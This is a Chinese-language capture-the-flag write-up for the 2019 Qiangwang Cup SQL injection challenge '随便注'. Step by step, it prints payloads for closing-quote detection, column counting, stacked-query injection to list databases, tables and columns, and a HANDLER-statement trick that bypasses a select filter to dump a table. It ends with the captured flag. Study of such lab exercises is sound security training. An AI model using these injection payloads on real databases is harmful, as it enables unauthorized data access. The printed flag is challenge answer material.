强网杯2019 随便注

题目1.......判断闭合符

## 测试 1' 成功注入

2.......判断列 order by

测试1' order by 3-- +报错

测试1' order by 2-- +正常 ( 有两列)

3测试回显位置 1'select 1,2-- + 发现这些关键字被过滤了

4堆叠注入

原理是通过;号注入多条sql语句

先暴库1';show databases;-- + (无发现)

暴表1';show tables;-- + 发现两个表一个一个测,来暴字段

5先查看数字表 因为全是数字所以要用` 反引号引起来

1';show columns from `1919810931114514` -- + 发现里面有flag 但是select被过滤可以用md5编码来构造payload来绕过过滤(我不会构造)

6用handler语句攻击链,用于绕过常规sql注入

知识点:

1';handler flaghere open;handler flaghere read first; handler flaghere close;-- +
1';终止原SQL查询,开启新语句。
handler flaghere open以底层文件方式打开名为 FlagHere 的表。
handler flaghere read first读取表的第一行数据。
handler flaghere close关闭表句柄。
-- +注释掉后续语句,避免语法错误。

.....来实操一下用下面的语句 用已知道的字段`1919810931114514`直接套用

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;-- +

拿到flag

flag{dec06a52-3e8e-4376-bf9a-2dcf706028b9}